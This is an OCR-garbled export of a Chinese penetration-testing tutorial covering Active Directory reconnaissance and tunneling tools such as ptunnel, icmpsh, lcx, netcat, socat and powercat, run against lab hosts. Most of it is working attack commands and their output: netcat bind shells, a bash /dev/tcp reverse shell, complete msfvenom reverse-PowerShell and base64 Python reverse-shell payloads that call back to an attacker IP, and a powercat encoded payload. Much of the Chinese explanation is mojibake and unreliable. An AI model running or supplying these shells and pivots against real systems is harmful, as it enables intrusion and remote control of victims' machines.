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C:\Users\daniell@> netdom query pdcigify=igizs SHIN5E .

ptunnel B A<M A:

none

net group "domain controllers" /domain

BIE XN —MIE, HEIEZLE N7 —8%MW Web Linux fR22, BT EF A ICMP thilEERANN—E B L
ﬁ%ﬁﬁiﬁﬁ’\] Windows , WZEM BT,

none
C:\Users\daniell@> net group "domain controllers" /domainiXIMuEsKiE4£1d teamssix.com HYEjIzHIgEabE, HE Domain Co
ntrollers/¥# TR P AR B A R == === === mmmm e e

————— DC$ar < MINTEM

7E Kall AL EHATIA T &%

none

psloggedon.exe [-] [-1] [-x] [\\computernamelusername]- ERXEFNETAB T H L ENSRA, -
1 NERAMER, NERAMANETRER. AEREFE, \\comput
ername EEEIHEFEBMITENERFR, Username aEﬁHF’%, EMEDERIZAFPEFZANTEN.

none
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C:\Users\daniell@> PslLoggedon.exe -1 \\192.168.7.7Users logged on locally:2021/2/13 20:53:08 TEAMSSTIX\Adm
inistrator

£ Linux Web BHRAL EHATIA N ap<

ZfE1h18) Kali ILEH, 172.16.214.6 89 1080 im A f=EEE] Win RDP BAnAll 192.168.7.110 #Y 3389 Ix[1 7, IS
M EIIXFh 5 BB LLERTRE,

B BR OCKER KR BR
BRIZE
Ay NIRRT BRIBR,

172.16:204.6:1080

2= administrator

J{REEATERREE TR,

Windows 25’
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XA IERIG TR 172.16.214.6,

Administrator

icmpsh

icmpsh {EARBIE, BT github £ T35, BTN AEEZEEANR, BE2EERNEEXAAMMARSN ICMP [
&, A shell WBITE T RE,

none
-h Ef?"ﬁiﬂ%%—u WNFERF 2 S B
BRZA-current ["username"] -current I EREBAPCLERIEEMNBR,EE S, NMRIEBEHF,E (FE5IS2iE) , MICEERZISTER
FPEFAIPC-noping FE =B ExE 2 Bint 8 Tpingas < -target

UEPIES M AT BRI EES W N, MRKIEEL-target2%, WS WHRIEHFMBE . MRREBE-target, AEEENEZSHRENEN
FWERK R EEreport . csvX R

ANYTI

icmpsh & A< NA:

none

C:\Users\daniell@> PVEFindADUser.exe -current [+] Finding currently logged on users ? true [+] Finding last logge

https://teamssix.com/211027-163641.html

48/273



2021/10/27 F4-6:42

DA ] 27 5] B0 & 4 | TeamsSix

d on users ? false [+] Enumerating all computers... [+] Number of computers found : 15 [+] Launching queries
[+] Processing host : dc.teamssix.com (Windows Server 2008 R2 Datacenter;Service Pack 1) - Logged on user
. teamssix\administrator [+] Processing host : daniel7.teamssix.com (Windows 7 & \/hw;Service Pack 1) [+]

Processing host : daniell®.teamssix.com (Windows 1@ &vkR) [+] Report written to report.csv

HEIEXFEN—"1 12, BEeEEd ICMP s a2l BinEAL, ERBir LB ALE, B8 78RR 22,
3389 uwmO9TAIE), X PEHMERTLUMER icmpsh FA ICMP 1Y 17 & [ shel

none
-h SREENEE-f filename.txt EBEZERENFNIIERN A -e filename.txt EEEHEMNFENZAXM-0 filename.
txt BBEHLEETEORIEEN A -d domain FEEBIRENENIIRAE, NEREREE, WMEFETIREENSIZR-g group
IEEMENAR, WRBEIEE, NiEDomain AdminsiEri¥Z-c WEHEINFEZ B S/ SRR R THHE-1 interval
RSN 2 B SFH-] jitter NAFERNEsE DT (0.0-1.0)

FEREN BT

none

C:\Users\daniell®> netview.exe -d[+] Number of hosts: 3[+] Host: DANIEL1@Enumerating AD Info[+] DANIEL1@ - Commen
t -[+] D - 0OS Version - 10.0[+] DANIEL1@ - MSSQL ServerEnumerating IP Info[+] (null) - IPv4 Address - 192.168.7.1
10Enumerating Share InfoEnumerating Session InfoEnumerating Logged-on Users[+] DANIEL1@ - Logged-on - TEAMSSIX\da
niell@[+] Host: DCEnumerating AD Info[+] DC - Comment -[+] D - OS Version - 6.1[+] DC - Domain ControllerEnumerat
ing IP Info[+] (null) - IPv4 Address - 192.168.7.7...ABKRZHEE. ...

eSS kny I inbvce)

none
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C:\Users\daniell®@> nmap --script=smb-os-discovery.nse -p 445 192.168.7.107Starting Nmap 7.91 ( https://nmap.org )
at 2021-02-21 09:44 CSTNmap scan report for 192.168.7.107Host is up (0.00053s latency).PORT STATE SERVICE445/t

cp open microsoft-dsHost script results:| smb-os-discovery:| 0S: Windows 7 Professional 7601 Service Pack 1 (W
indows 7 Professional 6.1)]| 0S CPE: cpe:/o:microsoft:windows_7::spl:professionall Computer name: daniel7| N
etBIOS computer name: DANIEL7\xQ0QI Domain name: teamssix.com]| Forest name: teamssix.coml FQDN: daniel?.team

ssix.coml_ System time: 2021-02-21T09:44:33+08:00Nmap done: 1 IP address (1 host up) scanned in 0.50 seconds

IR ERE A EpT AR EIBY icmp HMEEIIAY shell

# python2 icmpsh_m.py 172.16.214.6 172.16.214.2
Microsoft Windows [kR74s 6.1.7601]

FRILER B (c) 2009 Microsoft Corporation., REBFT A NF .

C:\Users\teamssix\Desktop>dir
dir

npas C PFRIERBIME.
&5 5= =2 9AED-49B6

C:\Users\teamssix\Desktop HJH %

2021/04/07 15:33 <DIR>
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2021/04/07  15:09 19,033 icmpsh.exe
2021/02/23 16:11 <DIR> tmp

1 ™ 19,033 =¥

3 NEF 49,628,549,120 A HET

C:\Users\teamssix\Desktop>l

icmptunnel

icmptunnel AILEFE TP AZEIRASBL A5 NAT, BT github BT MEL, BRERRIEZTARAE Linux i,

none

PS C:\Users\daniell@> Import-Module PowerViewPS C:\Users\daniell@> Get-Command -Module PowerViewCommandType N

ame Version Source----------- -——-
————————————— Alias Find-UserTrustGroup 1.0 PowerViewAlias
Get-ComputerProperties 1.0 PowerView... AR Z B HE.....

HEIEXHN—1195R, WEEN Linux, BERETERMFERSHAGESEER 7 NAT SHI0ERS shell, LA

N N

B icmptunnel ZEIBRE

none
PS C:\Users\daniell®@> Invoke-UserHunterUserDomain : TEAMSSIXUserName : AdministratorComputerName : dc.teams
six.comIP : 192.168.7.7SessionFrom :LocalAdmin :UserDomain : TEAMSSIXUserName : daniell@Comput
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erName : daniell®.teamssix.comIP : 192.168.7.110SessionFrom :LocalAdmin :UserDomain : TEAMSSIXUser
Name : AdministratorComputerName : daniel7.teamssix.comIP : 192.168.7.107SessionFrom :LocalAdmin
ARE E1B1T:
none
(Empire: listeners) > agents[*] Active agents: Name La Internal IP Machine Name Username
Process PID Delay Last Seen ---- = —- —--mmmmmmom mmmmmeeee e
——————— --- ————- —--———--- 3XRCWABZ ps 192.168.7.7 DC *TEAMSSIX\administrato
r powershell 2256 5/0.0 2021-02-22 20:39:54(Empire: agents) > usemodule powershell/powershell/situat

ional_awareness/network/powerview/user_hunter(Empire: powershell/situational_awareness/network/powerview/user_hun
ter) > set Agent 3XRCWABZ2(Empire: powershell/situational_awareness/network/powerview/user_hunter) > execute[*] Ta
sked 3XRCWABZ to run TASK_CMD_JOB[*] Agent 3XRCWAB2 tasked with task ID 1[*] Tasked agent 3XRCWABZ to run module
powershell/situational_awareness/network/powerview/user_hunter[*] Valid results returned by 192.168.7.7...

AWEA EFTE— T RIRETT:

none

net group "Domain Admins" /domain

A B E1E1T:
none
C:\Users\daniell@>net group "Domain Admins" /domainiXIE5E/E1E teamssix.com HYEjInHIgEabE, HE Domain AdminsiT
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I e xR O

rep< IN5ER .

none

tasklist /v

2, B2REY ICMP B3 7 — P2 ahxE,

AXGEN L, SuEY ssh #H1TER, PIUABEIBIRZ 8ILa9FE MIER R B iR,

L—# ssh root@l@.@.G.Z

The authenticity of host '10.0.0.2 (10.0.0.2)' can't be established.

ECDSA key fingerprint is SHA256:tad4Ptb7CrQ1Y9iJA42VR7s0@jXNnROTZHwTVIGG7uals.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.0.0.2' (ECDSA) to the list of known hosts.
root@10.0.0.2's password:

Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-139-generic x86_64)

root@ubuntu:~# ifconfig | grep "inet"
inet |172.16.214.5| netmask 255.255.255.0 broadcast 172.16.214.255
inet6 fe80::69da:98d7:3f17:f9fc prefixlen 64 scopeid 0x20<link>
inet 192.168.7.5 netmask 255.255.255.0 broadcast 192.168.7.255
inet6 fe80::20c:29ff:fe2a:1857 prefixlen 64 scopeid 0x20<link>
inet 127.0.0.1 netmask 255.0:0.0
inet6 ::1 prefixlen 128 scop€id 0x10<host>
inet| 10.0.0.2 | netmask 255.255.255.0 destination 10.0.0.2
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1. lex {EF

lox 798 Windows A Linux A, Linux kA4 portmap

Windows

P 582

none

C:\Users\daniell0@>tasklist /VBL(EZ

DA ] 27 5] B0 & 4 | TeamsSix

prerixien b< scopeld

PID &1E% =iE# REFER RS

RF& CPU AY[8) & [O4naR

System Idle Process @ Servi
ces 7] 8 K Unknown NT AUTHORITY\SYSTEM 68:3
5:16 #fiSystem 4 Services 0 924 K Unknown it
0:24:14 Eitsvchost.exe 9228 Console 2 2,932 K Unknown TEAMSSIX

\daniell@
2 9,540 K Unknown TEAMSSIX\daniell@
none

URL: neo4j://localhost:7687
BAFP&ACEIN): neodj
EI5(EIA): neo4j

0:00:00 FHifttasklist.exe

10768 Console
0:00:00 ZHEf...NAITZEE....

EENERS, THIO)RARACIETALAY 5565 Un ORIEETAID)EI RS E TAAY 3389 w7 .
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A3 i 1 BR 5

MR BRENABELERM, XA ARBANFEES BN EN, SEABEENNENROMSEIES £, BEBROR
RENA M HATIIE],

none

C:\Users\daniell@>SharpHound.exe -c all

Resolved Collection Methods: Group, Sessions, LoggedOn, Trusts, ACL, ObjectProps, LocalGroups, SPNTargets, Contai
ner

[+] Creating Schema map for domain TEAMSSIX.COM using path CN=Schema,CN=Configuration,DC=teamssix,DC=com
[+] Cache File Found! Loaded 1332 Objects in cache

[+] Pre-populating Domain Controller SIDS

Status: @ objects finished (+@) -- Using 24 MB RAM

Status: 673 objects finished (+673 134.6)/s -- Using 43 MB RAM

Enumeration finished in 00:00:05.3136324

Compressing data to .\20210225223622_BloodHound.zip

You can upload this file directly to the UI

SharpHound Enumeration Completed at 22:36 on 2021/2/25! Happy Graphing!

Linux

P 58 =

none
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powershell -exec bypass -command "Import-Module ./SharpHound.psl; Invoke-BloodHound -c all"

LEBS TR AR EA IP 89 5555 im, BSTAREIRNMKFETNN 22 IK0 7,

2. netcat {£H

nc TEHbiE:  https://eternallybored.org/misc/netcat/

nc £ netcat, BRIINEERZ, XERFSRICE MM EBRINEE, EMAVLCIHER. In ESSNMAN S
T, BESPRERMERE R — N2 LR,

none

TWHMAEIEER
IHREERRNRERRE

R, BB DCSYyncil A E 1K
BN AN 2 FEAP

BAES B R AR A RIBIA
BRETIES (T
BITEARFZIERGNRERR
ZllikKerberoastable B H& R
MKerberoastablef 25 E1E 2 &R HKERE
. HENTAHRNERRERRE

. MREN T AR EIERNER R
. HlieMEERNRRER

. BREAPERMEIE RSN

. BHEAP A IR R RIS

. MBRBFEISMMEBITNREKR

. WEINEA P EISNME BRMAE B
. FEIE A~ AT ARDPEY T 1EUS

. HEE P AT LARDPRI AR S5 28

19, EREFAHFAENBRNR
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20, WEISMERIAPEEE S iTkerberoablef ) 5
21, 7t FrEkerberoableff
22, BHRABKRZHENIIKerberoastablef
23, SHREIFHTEHIERNEERE R
24, ERASIFRIERGNITEN
25. B AS-REP RoastablefHf (DontRegPreAuth)

PARERERNINEE, X PAMYALAEREE banner (58, W REARFIRTIR 2 S T

none

yum -y install byaccyum -y install flex bison#ZZtlibpcapfkifiZzwget http://www.tcpdump.org/release/libpcap-1.9.0.ta
r.gztar -xzvf libpcap-1.9.0.tar.gzcd libpcap-1.9.0./configuremake && make install#ZZiPingTunnelwget http://www.c
s.uit.no/~daniels/PingTunnel/PingTunnel-0.72.tar.gztar -xzvf PingTunnel-0.72.tar.gzcd PingTunnelmake && make inst
all

258 shell

PAREX ML REBNINEE, AJUMER —e 187 /bin/bash #H1T/KR5%, thr]AER —c 38E bash 3& cmd
-e HERE shell

none

-p: EEMHRKSEE IP Hit-1p: WA TCP iwC-da: BELEEFRNAN IP ihit-dp: FEEC)EMA0KO-m: REBESAHRE-v:
AR FALS (-1804, Ef-LUokkhat, 4v2Efmt) -udp: PIREMRUDPAEIMP, IR ETKOS3 (WAE root IR) -x: RER
BEE, BHLERA (BFmAARHNIER)
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none
Kali ZZE 172.16.214.6 (UMD 1 ILinux Web BkiRAlL 172.16.214.5 (MDD 192.168.7.5  (AM)IIW
in RDP E#R#/l 192.168.7.110 (AM)

—c }8E 5% shell

none

ptunnel -p 172.16.214.5 -1p 1080 -da 192.168.7.110 -dp 3389 -x teamssix

none

“p  EEIMEANANAIP-1p EEANMSITEO-da 5EEFNAMMIP-dp & EMIAEO-x 188 RERE
ZRHEMIES H1T/RE shell

none

ptunnel -x teamssix

none

git clone https://github.com/inquisb/icmpsh.git # 7% 1T Eapt-get install python-impacket # ZZ{k#fi, o#& pip2 instal

1 impacketsysctl -w net.ipv4.icmp_echo_ignore_all=1 #xAAHBICMPLZ
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bR T bash ] BUERAEMANES H1T /5% shell, XERJDMEA msfvenom £ shell, RIFEFERGE, &8
msfvenom -1 payload | grep "cmd/" P& E P{FHAY payload

EEUMEFS  cmd/windows/reverse_powershell 1X°> payload

none
-t host REpingERAENipibit, BIXENMIP [ZaH< iz ]-d milliseconds BRI EEE (2F) -o millisec
onds N8RS AT ) (%)) -s bytes BAEBE A AN (FP)

FFERRY payload EFIZIKFEEN, LiatT, BIRJWEIRIEEHY shell

——(root @kali)-[/tmp]

L# msfvenom -p cmd/windows/reverse_powershell lhost=172.16.214.44 lport=4444

[-] No platform was selected, choosing Msf::Mbdule::Platform: :Windows from the payload

[-] No arch selected, selecting arch: cmd from the payload

No encoder specified, outputting raw payload

Payload size: 1586 bytes

powershell —-w hidden -nop -c $a='172.16.214.44";$b=4444;$c=New-0N :\Windows\system32\cmd. exe
] $c.ReceiveBufferSize; $ob=New-Object System.Byte[] 65536;$eb=Néu

oding; $p=New-Object System.Diagnostics.Process;$p.StartInfo.File
fo.RedirectStandardOutput=1;$p.StartInfo.RedirectStandardError=1;

nput;$05-:$p.5tar_1dardOutput;$es:Sp.Standa|dErrov;Sosread:$os.Base C:\Users\teamssix)pouershel1 -w hidden -nop -c $az'172.16.214. 44" : $b=4444 : Sc=New
:Basestrean. BeginRead(seb, 0, $eb.Length, $null, Snull);sc.comned_qy o0t system.net.sockets.tepelient:$nb=New-Object System.Byte[] $c.ReceiveBuff
100;  if ($osread.IsCompleted —and $osread.Result —ne 0) { . ¢j7q $ob=New-Object System.Byte[] 65536;Seb:New-Object System.Byte[] 65536;3e:
$5.FLUSEE 5 $osread=$os.Basestrean.BeginRead($ob, 0, Y0 -ohject System.Text.UTF8Encoding;$pzNew-Object System.Diagnostics.Process;$p.
disesnead geSult Snefa)i $r=ses.Basestrean.EndRead($esreadlis ¢ -t Info . FileName= ‘cmd.exe " ;$p.StartInfo.RedirectStandardInput=1;$p.StartInfo.R
BaseStream.BeginRead($eb, 0, $eb.Length, $null, $null); '}  HagdjrectStandardOutput=1;$p.StartInfo.RedirectStandardError=1;$p.StartInfo.UseShe
if ($r -1t 1) { break; } else { sstr=se11Execute=0;$q=3p.Start();$is=$p.StandardInput;$os=$p.StandardOutput;$es=3$p.Stan
if ($c.Connected -ne $true —or ($c.Client.Poll(1, [System.Net.SoddardError;$osread=$os.BaseStream.BeginRead($ob, @, $ob.Length, $null, $null);S$es
break; I if ($p.ExitCode -ne $null) { 'dread=$es.BaseStream.BeginRead($eb, 0, $eb.Length, $null, $null);S$c.connect($a,$b
);$s=%c.GetStream() ;while ($true) { start-sleep -m 100; if ($osread.IsComp
r”’OOt@kall\*UtmpJ leted -and $osread.Result -ne 0) { $r=$o0s.BaseStream.EndRead($osread) ;
L # nc —lvp 4444 $s.Write($0b,0,%r); $s.Flush(); $osread=$os.BaseStream.BeginRead($ob,
listening on [any] 4444 ... 0, $ob.Length, $null, $null); } if ($esread.IsCompleted -and Sesread.Resu
172.16.214.4: inverse host lookup failed: Unknown host 1t -ne 0) { $r=%es.BaseStream.EndRead($esread) ; $s.Write(Seb,0,%r);
connect to [172.16.214.44] from (UNKNOWN) [172.16.214.4] 49168 $s.Flush(); $esread=$es.BaseStream.BeginRead($eb, 0, $eb.Length, $null,
Microsoft Windows [ 6.1.7601] $null); } if ($s.Datanvailable) ( $r=$s.Read($nb,0,%nb.Length);
if ($r -1t 1) ¢ break; } else { $str=%8e.GetString($nb,0,$
. &4 ] . ] -
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C11ent Poll(1, [Sgstem Net. Sockets SelectMode]::SelectRead) -and $c.Client.Availa

C:\Users\teamssix>whoami
if ($p.ExitCode -ne $null) { break;

whoami 3
win-i2ejk6clbvc\teamssix

C:\Users\teamssix I

BLEAM#A  cmd/unix/reverse_python X7 payload

none

WEM, IP: 172.16.214.6E4RM IP: 172.16.214.2

[ERSE AR payload EfIEIRFEEN Liz1T, BIPJIEIRSE[EI5RAY shell, HARIRE BinEA% % 1 python

3. socat {#F

socat &AL http://www.dest—unreach.org/socat/ , ZiEBEIZ(FA  apt-get install socat Zix, Mac PJ{F

brew install socat f%

socat ¥R socket cat, BN nc BUSNSRAR, AT FERRS nc AT, 182 nc IESRIMSH R AIE, mMESR
Plnc BRAREF T, RIEZERLDARIRIAL,

X {4#5# 1
EEU {4

none
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pythonZ icmpsh_m.py 172.16.214.6 172.16.214.2

BAX

none

./icmpsh.exe -t 172.16.214.6
P L& R 1E
EInTRIR O

none

git clone https://github.com/jamesbarlow/icmptunnel.git
cd icmptunnel
make

53 i O

none

AL IP: 172.16.214.6
gintl IP: 172.16.214.5

ImO%e &

& TCP im0
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PAREXNELEREBRINIIEE, 8 CS METE RN, #elUER socat #H1Tin IR .

none

echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all # A ICMP echo [EIE, BFIEAZE W pingBFH TIMN
./icmptunnel -s # RS HED

XEEAETA) BT ENA 80 In AT, BE1AIE)E]) 123.123.123.1283 19 80 w7, thalbUMERA —d HEH TS SMIEMiE
B, RZERMU d, #EFEERMmD, B -dd

none

/sbin/ifconfig tun@ 10.0.0.1 netmask 255.255.255.0 # IBE—1TMFtund, BFalERSRmoBE—"IPHL (10.0.0.1)

t£& UDP %O

M Em—FE, ¥ TCP AL UDP BlF]

none

echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
./icmptunnel 172.16.214.6

NAT BR5¢

BT enmat ATNNERRNTE M RRESZI/ANN B ARSI S Fitmn ERE EH = H frn
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ALZAZL DAL T NN T DV I A PANADD LY LAY TUAL ALY N AU IRAL AL X JIT T 1)

none

/sbin/ifconfig tun@ 10.0.0.2 netmask 255.255.255.0 # IBE—1TMFtund, BFLaERSRmoRE—IPHL (10.0.0.2)

LERSTAIE) A EAAY 5555 TmOAFE AT ATAIEZIAM EALAY 3389 Iw T

Z 83| socat WEMINEEFRBMRMEME], XEMAITZNAT, WEEXNELERS, HUMATRT,
1. 8% 3 powercat

powercat A AR nc 89 powershell AixZx, EItbth AT DAFD nc #H473E8E,

powercat AJE github 17 N&L, IMBHBLEA: https://github.com/besimorhino/powercat

& N3 powercat.ps! X, BIES AR

none

ssh root@10.0.0.2

MRBRARBEMBIEERR, WAIgEEMXREER, FINSRZEIEN  [ANFSZ2IC] 2. PowerShell XEHRYTE
SER PR, BIEEEARI NI e

none

REN = E S]]
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lcx.exe -slave rhost rport lhost lport

NICEEEAM
lcx.exe -listen lportl lport2

ZEMA AS A powercat T, SABINGE, HI powercat —h RIAERIFEENER.
WRZENER, AIMNERE MEE X175,

none

e EE
lcx.exe -slave 123.123.123.123 4444 127.0.0.1 3389

PNRRIEEA,
lcx.exe -listen 4444 5555

AFAF github EEAFIBERTTEFTFF, FULPTAER web IR REE 2 powercat.psl XHINEIB 2RSS 2E £
T R EL

2. powercat RI{EFS

powercat TSN

none

lcx.exe -tran 53 <BirF#l IP ibil> 3389
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FIAEEIH nc AA L IR Z R,
MAEIPES
Kali £ nc EZZIEEM,

none

MRS BE AL
./portmap -m 3 -h1l 127.0.0.1 -pl 22 -h2 <2AWZEAH, IP> -p2 4444

ARRIEEMN
./portmap -m 2 -pl 4444 -h2 <2MEAH, IP> -p2 5555

AT RRT, Fi5 Kali Eik

none

-1 FAREITRE

-v ERIFHER

-p IEERITAIAIDIG O

-k B iRErEEEN, RSIMRARENGT
-e RBEANEEUBLNT

-n BE(EA IP #blE, T#1T dns BRATIAE

none

https://teamssix.com/211027-16364 1 .html 65/273



2021/10/27 F4-6:42
nc -vv rnost rport

= m1EE
Kali J:?ZF DleléLDﬁ
EEA A kali &R iE2iEE

none

> nc -v 172.16.214.43 22

DA ] 27 5] B0 & 4 | TeamsSix

Connection to 172.16.214.43 port 22 [tcp/ssh] succeeded!

SSH-2.0-0penSSH_8.4p1 Debian-3

none

# RREEA
nc -lvp lport -e /bin/bash # linux A
nc -lvp lport -e c:\windows\system32\cmd.exe

# 12His
nc rhost rport

1R [B] powershell

W £ 1sT

none

https://teamssix.com/211027-16364 1 .html
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# KA

> nc -lvp 4444 -e /bin/bash

listening on [any] 4444 ...

172.16.214.1: inverse host lookup failed: Unknown host

connect to [172.16.214.43] from (UNKNOWN) [172.16.214.1] 60628

# 2Him

> nc -v 172.16.214.43 4444

Connection to 172.16.214.43 port 4444 [tcp/krb524] succeeded!
whoami

root

none

# RPBEEH
nc -lvp lprot -c bash # linux =7
nc -lvp lport -c cmd # windows A

# 12Hlm
nc rhost rport

g L1B1T

none

# KA

> nc -lvp 4444 -c bash

listening on [any] 4444 ...

172.16.214.1: inverse host lookup failed: Unknown host

connect to [172.16.214.43] from (UNKNOWN) [172.16.214.1] 60635

# A7 HlE
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gy

> nc -v 172.16.214.43 4444

Connection to 172.16.214.43 port 4444 [tcp/krb5247] succeeded!
whoami

root

none

# RREEA
bash -1 >& /dev/tcp/rhost/rport 0>&1

# 12Hlm
nc -lvp lprot
1ER B R {ER

WAL -

none

# RPEEAMN
> bash -i >& /dev/tcp/172.16.214.43/4444 0>&1

# 12His
> nc -lp 4444

root@ubuntu:~# whoami
whoami
root

¥ win7 ERBRAL, 1E kali 3@3T win7 ZE#E windows10
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£ win10 FHATIA Map<

none

# 1=Hin

> msfvenom -p cmd/windows/reverse_powershell 1host=172.16.214.43 lport=4444

[-1 No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-1 No arch selected, selecting arch: cmd from the payload

No encoder specified, outputting raw payload

Payload size: 1586 bytes

powershell -w hidden -nop -c $a='172.16.214.43";%$b=4444;%c=New-Object system.net.sockets.tcpclient;$nb=New-Object
System.Byte[] $c.ReceiveBufferSize;$ob=New-Object System.Byte[] 65536;%$eb=New-Object System.Byte[] 65536;%e=new-o
bject System.Text.UTF8Encoding;$p=New-Object System.Diagnostics.Process;$p.StartInfo.FileName="cmd.exe';$p.Startl

nfo.RedirectStandardInput=1;$p.StartInfo.RedirectStandardOutput=1;$p.StartInfo.RedirectStandardError=1;%$p.StartIn
fo.UseShellExecute=0;%$qg=%p.Start();$is=%$p.StandardInput;$os=%$p.StandardOutput;$es=$p.StandardError;$osread=%$0s.Ba
seStream.BeginRead($ob, @, $ob.Length, $null, $null);$esread=%$es.BaseStream.BeginRead($eb, @, $eb.Length, $null,

$null);$c.connect($a, $b);$s=%$c.GetStreamQ);while ($true) { start-sleep -m 100; if ($osread.IsCompleted -an

d $osread.Result -ne @) { $r=%$0s.BaseStream.EndRead($osread); $s.Write($ob,0,%$r); $s.Flush(Q);
$osread=%$0s.BaseStream.BeginRead($ob, @, $ob.Length, $null, $null); } if ($esread.IsCompleted -and $esread.
Result -ne 0) { $r=$es.BaseStream.EndRead($esread); $s.Write($eb,0,%r); $s.Flush(Q); $esread=
$es.BaseStream.BeginRead($eb, @, $eb.Length, $null, $null); 1 if ($s.DataAvailable) { $r=%$s.Read($nb,0
,$nb.Length); if ($r -1t 1) { break; } else { $str=%$e.GetString($nb,0,%r);
$is.write($str); } } if ($c.Connected -ne $true -or ($c.Client.Poll(l,[System.Net.Sockets.SelectMod
e]::SelectRead) -and $c.Client.Available -eq 0)) { break; } if ($p.ExitCode -ne $null) { brea
k; 3}

> nc -lvp 4444

£ win7 AT NS

none
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# 1=l

> msfvenom -p cmd/unix/reverse_python lhost=172.16.214.43 lport=4444

[-1 No platform was selected, choosing Msf::Module::Platform::Unix from the payload
[-1 No arch selected, selecting arch: cmd from the payload

No encoder specified, outputting raw payload

Payload size: 505 bytes

python -c "exec(__import__('base64').bo64decode(__import__("'codecs').getencoder('utf-8"')("'aWlwb3JOIHNvY2t1dCAgICwg
c3VicHIvY2VzcyAgICwgb3M7ICAgICAgaG9zdDAiMTcyL JE2LJIXNC4OMyI7ICAgICAgcGOydDOONDQOOYAgICAgIHMIc29ja2VOLnNNvY2t1dChzb
2NrZXQuQUZfSUSFVCAgICwgc29ja2VOL1INPQOtfULRSRUFNKTsgICAgICBzLmNvbm51Y3QoKGhvc3QgICAsIHBvcnQpKTsgICAgICBvcy5kdXAyKH
MuZm1sZW5vKCkgICAsIDApOyAgICAgIG9zLmR1cDIocySmaWx1bm8oKSAgICwgMSk7ICAgICAgb3MuZHVWMihzLmZpbGVubygpICAgLCAYyKTsgICA
gICBWPXN1YnByb2N1c3MuY2FsbCgil2Jpbi9iYXNoIik=")[@]))"

> nc -lvp 4444

S5 kali NEE win7

none

> socat - ./test.txt # AN EEIRIEEN
test

> socat - /tmp/test.txt # IS ERIRIEEY
test

powercat 4444 cmd. exe

(source port 51042)
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h Communication Streams Established. Redirecting Data Between Streams..

> pouercat =1 -u -p 5555 -r tcp:172.16.214.21 : 4444
. Set Stream 1: TCP
: Set Stream 2: TCP
: Setting up Stream 1...
: Listening on [0.0.0.0] (port 5555)
: Connection from [172.16.214.6] port [tcp] accepted (source port 48826)
: Setting up Stream 2...
: Connecting...
: Connection to 172.16.214.21:4444 [tcp] succeeded!
: Both Communication Streams Established. Redirecting Data Between Streams. ..

B YR R
e | EE] ) B B B
ouF ouF ouF ouF ouF ouf ouF ouF ouf

T VR

Tf E
1$‘E
TEHH{E
TEH{E

(A GO A GO A GO A GO A

(root@kali)-[~/tools/dnscat2/server]
[:; nc —-v 172.16.214.2 5555

172.16.214.2: inverse host lookup failed: Unknown host
(UNKNOWN) [172.16.214.2] 5555 (?) open

Microsoft Windows [®% 10.0.19042.985]

(c) Microsoft CorporationG6GeGGEGHGEGS

«ipconfig
ipconfig

Windows IP @%&6#

060LLLLGLE Ethernet:

6O666_B66 DNS 662 :
GOOGOLOE 1PV GO : feB80::3081:2881:ddbb: c036%7
:l 172.16.214.21

ﬁ@@@ﬁ@@ﬁ : 255.255.255.0
60066, . . . . . : 172.16.214.1
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powercat 4 f% payload
FEXGEN LE1T A T a2 4B shell.pst payload X4

none
> echo "hello world" | socat - ./test.txt
> socat - ./test.txt
test

hello world

3% shell.pst XA N EIBREN LA, 1T shell.ps1 Xt
2 EAEREN LB T N a2 BIR 3R shell

none

> socat - TCP:172.16.214.1:22
SSH-2.0-0penSSH_7 .4

none

socat - TCP-LISTEN:8002

ISACIESEI I

ETTEAMN FAR Nl v HEFREIAIR

https://teamssix.com/211027-16364 1 .html
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| M N S I R /N Vi W WY VAN 1S P U I ) JL /s

none

socat TCP4-LISTEN:80@,fork TCP4:123.123.123.123:80

none

socat -dd TCP4-LISTEN:80,fork TCP4:123.123.123.123:80

none
socat UDP4-LISTEN:80,fork UDP4:123.123.123.123:80
ZEEENLE, B17 psl Xtia £4 T, MRANREMXHE, BRIMER -ge £EIT4RIBHY payload

FEREN LA R payload, FHIT Bk

none

# A
socat tcp:123.123.123.123:4444 tcp:127.0.0.1:3389

# N
socat tcp-listen:4444 tcp-listen:5555

none
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Import-Module .\powercat.psl

FEEEA EHATW A SRS payload

none

Set-ExecutionPolicy Unrestricted

> powercat -c¢ 172.16.214.2 -p 4444 -ep -ge
1ZgB1AG4AYWBOAGKAbWBUACAAUWBOAHIAZABhAGOAMABFAFMAZABOAHUACARKAHSACgAKACARIAAGACAACABhAHIAYABtACGAJABGAHUAbGB jAFMAZABOAHU
IAcABWAGEAcgBzACKACgAKAGMAL ARKAGWAL ARKAHARLAAKAHAATIAASACAAJABCEAHLAY R JAFMAZU 1OAHJAC ABUWF GEAcgBzF Aol | IRA JACAI I IABpAGYAKAAKAG
IcAbABUAGIAYABsADoAUgB1AHIAYgBUAHMAZOAPAHSAJABWAGUACGBiIAGEACWB . ACAAFQAgHCAALBYAHLAZEBS 2R AN ZACAIAARRZYAdOBUAGHAUgBhA
HIAcwAgADBAIABAAHSATAAKACAAIAAGACAAaOBMACGAIAAKAGWAKAAKACAAIAAGACAAeWAKACAAIAAGACAAIAAGACAARGB 1 AGHAYWBWAGEACgBZAFsAIgBs
ACIAXQAgADOAIAAKAEYAYOBsAHMAZAAKACARIAAGACAAIAAGACAARUWBUAGHAawB1AHAAIAASACAATgB1AHCALABPAGIAagBlAGHAdAAgAFMAeOGBzAHAAZOB
,tﬂC4ﬂTgB1nHunLgBTQGSﬂYuBrﬂGUﬁdnanCHQUQBjannQuBsﬂGkﬂZQBuQHuanngnCﬁnIQngncnnlnBXﬁHInaOBBnGUQLQBMQGUﬂchiﬂGSﬂcuBlnCQﬂIg
~shell ZgB1AG4AYwBOAGkAbwBuACAAUwBOAHTAZQBhAGOAMQBfAFMAZQBOAHL
KAHSACgAKACAATAAgACAACA {HIA\QBT%CUAT%BG%HLAJQB]%F“AAQBOAH[HL%BW%GE%CQB/%C1A(QA AGMAL GwALAAKAHAALAAKAHOATAA9AC!
GAHUAbgB jAFMAZQBOAHUACABWAGEAcgBzAA0ATAAgACAATABpAGYAKAAKAGE \IABIrAGT A TMAZQ AP/ HsA TABWAGU AcgBiAGS
1ACAAPQAgACQAVABYAHUAZQB9AAOATAAgACAATAAKAEYAdQBuUAGMAV g AcwAgADUATA ~ALQﬂhAL«AL«Ag+LAndanh gATQAKAGWAKQAKAC!
